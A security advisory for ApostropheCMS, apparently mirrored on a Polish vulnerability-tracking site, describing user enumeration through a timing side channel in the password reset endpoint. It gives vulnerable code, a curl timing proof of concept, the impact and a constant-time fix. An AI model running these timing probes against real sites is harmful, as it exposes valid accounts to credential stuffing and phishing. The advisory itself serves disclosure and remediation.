ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint
Summary
The password reset endpoint (/api/v1/@apostrophecms/login/reset-request) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile.
Details
The resetRequest handler in modules/@apostrophecms/login/index.js attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path:
User not found — fixed 2000ms delay (index.js:309-314):
if (!user) {
await wait(); // wait = (t = 2000) => Promise.delay(t)
self.apos.util.error(
`Reset password request error - the user ${email} doesn\`t exist.`
);
return;
}User found — variable-duration DB + SMTP operations, no artificial delay (index.js:323-355):
const reset = self.apos.util.generateId();
user.passwordReset = reset;
user.passwordResetAt = new Date();
await self.apos.user.update(req, user, { permissions: false });
// ... URL construction ...
await self.email(req, 'passwordResetEmail', {
user,
url: parsed.toString(),
site
}, {
to: user.email,
subject: req.t('apostrophe:passwordResetRequest', { site })
});The user-found path includes a MongoDB update() call and an SMTP email() send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users.
Additionally, the getPasswordResetUser method (index.js:664-666) accepts both username and email via an $or query, enabling enumeration of both identifiers:
const criteriaOr = [
{ username: email },
{ email }
];There is no rate limiting on the reset endpoint. The checkLoginAttempts throttle (index.js:978) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint.
PoC
Prerequisites: An Apostrophe instance with passwordReset: true enabled in @apostrophecms/login configuration.
Step 1 — Baseline invalid user timing:
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{time_total}\n" \
-X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
-H "Content-Type: application/json" \
-d '{"email": "nonexistent-user-'$i'@example.com"}'
done
# Expected: all responses cluster tightly around 2.0xx secondsStep 2 — Test known valid user:
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{time_total}\n" \
-X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \
-H "Content-Type: application/json" \
-d '{"email": "admin"}'
done
# Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP)Step 3 — Statistical comparison: The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay.
Impact
- Account enumeration: An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance.
- Credential stuffing preparation: Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases.
- Phishing targeting: Knowledge of valid accounts enables targeted phishing campaigns against confirmed users.
- No rate limiting: The absence of throttling on the reset endpoint allows high-speed automated enumeration.
- Mitigating factor: The
passwordResetoption defaults tofalse(index.js:62), so only instances that explicitly enable password reset are affected.
Recommended Fix
Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found:
async resetRequest(req) {
const MIN_RESPONSE_TIME = 2000;
const startTime = Date.now();
const site = (req.headers.host || '').replace(/:\d+$/, '');
const email = self.apos.launder.string(req.body.email);
if (!email.length) {
throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired'));
}
let user;
try {
user = await self.getPasswordResetUser(req.body.email);
} catch (e) {
self.apos.util.error(e);
}
if (!user) {
self.apos.util.error(
`Reset password request error - the user ${email} doesn\`t exist.`
);
} else if (!user.email) {
self.apos.util.error(
`Reset password request error - the user ${user.username} doesn\`t have an email.`
);
} else {
const reset = self.apos.util.generateId();
user.passwordReset = reset;
user.passwordResetAt = new Date();
await self.apos.user.update(req, user, { permissions: false });
let port = (req.headers.host || '').split(':')[1];
if (!port || [ '80', '443' ].includes(port)) {
port = '';
} else {
port = `:${port}`;
}
const parsed = new URL(
req.absoluteUrl,
self.apos.baseUrl
? undefined
: `${req.protocol}://${req.hostname}${port}`
);
parsed.pathname = self.login();
parsed.search = '?';
parsed.searchParams.append('reset', reset);
parsed.searchParams.append('email', user.email);
try {
await self.email(req, 'passwordResetEmail', {
user,
url: parsed.toString(),
site
}, {
to: user.email,
subject: req.t('apostrophe:passwordResetRequest', { site })
});
} catch (err) {
self.apos.util.error(`Error while sending email to ${user.email}`, err);
}
}
// Pad all paths to a constant minimum duration
const elapsed = Date.now() - startTime;
if (elapsed < MIN_RESPONSE_TIME) {
await Promise.delay(MIN_RESPONSE_TIME - elapsed);
}
},Additionally, consider applying rate limiting to the reset-request endpoint to prevent high-speed enumeration attempts.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | < 4.29.0 | 4.29.0 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N- Słabość (CWE)
CWE-208- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 16.04.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-mj7r-x3h3-7rmr - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 33
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 9
- Średnia 18
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 29
-
ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.